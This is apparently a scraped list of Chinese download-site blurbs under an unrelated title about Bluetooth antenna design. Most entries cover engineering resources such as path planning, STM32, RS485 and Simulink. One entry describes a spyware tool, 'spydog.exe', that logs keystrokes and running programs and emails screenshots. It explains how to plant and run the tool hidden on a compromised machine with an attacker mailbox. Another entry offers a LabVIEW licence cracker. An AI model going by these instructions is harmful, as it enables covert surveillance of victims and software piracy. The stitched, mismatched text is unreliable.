蓝牙PIF天线和蛇形PCB天线设计指导

最近在学路径规划，学到人工势场法，在参考了matlab版(中文注释)的程序后，自己写了个C++的版本，并利用opencv画出规划好的路径，对于没安装opencv的朋友，也可以把路径打印出来，复制到matlab的命令行窗口，利用plot来查看。里面有５个文件，compute_angle.m，compute_Attract.m，compute_repulsion.m，main.m和C++版的APF.cpp

本设计采用单片机控制和RS485通信系统，包括一台主机和8台子机。主机采用图形液晶显示模块，能够显示子机传输过来的0～2V电压值、采集现场温度、实时时钟、电压超限报警等，同时可以使用键盘输入控制主机的工作状态。从机采用 位A/D，负责采集八路0～2V直流电压，采集精度可以达到0.1％以上，并且可以采集现场温度，同时应答主机发送的命令，将采集的数据上传，主机具有数据保存功能，并且掉电不丢失。在主机与从机的通讯中，采用RS485总线通信方式，有效传输距离超过100米。

opencv 3.1.0 文件，解压后为exe文件，配置好环境变量后就可以使用。

功能：1.记录运行的程序2.记录键盘输入3.定时截屏发送邮箱用法：4个文件上传到肉鸡任意目录运行主程序spydog.exe（在DOS下运行，肉鸡哪能看见呢？）注意：上传前请修改sysconfig文件内容，右击记事本打开引用:111 10600 截屏间隔时间(不能小于60，单位是秒）heikechina@foxmail.com 接受信息的邮箱

非常好的讲述浅层雷达信号处理的算法的博士论文，对每个步骤有详细的讲述

针对 STM32F4xx 的内部flash的读写操作，经本人优化，运行稳定可靠。

万能注册机（NI License Activator）。用于激活破解labview软件，使用简单，方便。安装完试用版本及其各类工具包后，直接打开该注册机，点击右键选择注册。

事件触发控制simulink仿真。基于自适应控制和反步设计方法。仿真是基于不确定非线性系统自适应反步控制方法来设计的触发控制方案，即在反步法的实际控制与plant之间加上触发机制。你可以先学习一下自适应反步法控制方法（相关SCI论文很多）。然后在控制器u加上触发机制代码即可，运用简单的if语句。

网上收集的无刷电机控制的simulink仿真模型，非常难得 网上收集的无刷电机控制的simulink仿真模型，非常难得

STM32F103 基础例程(HAL库版)。详细靠谱的全套STM32例程工程。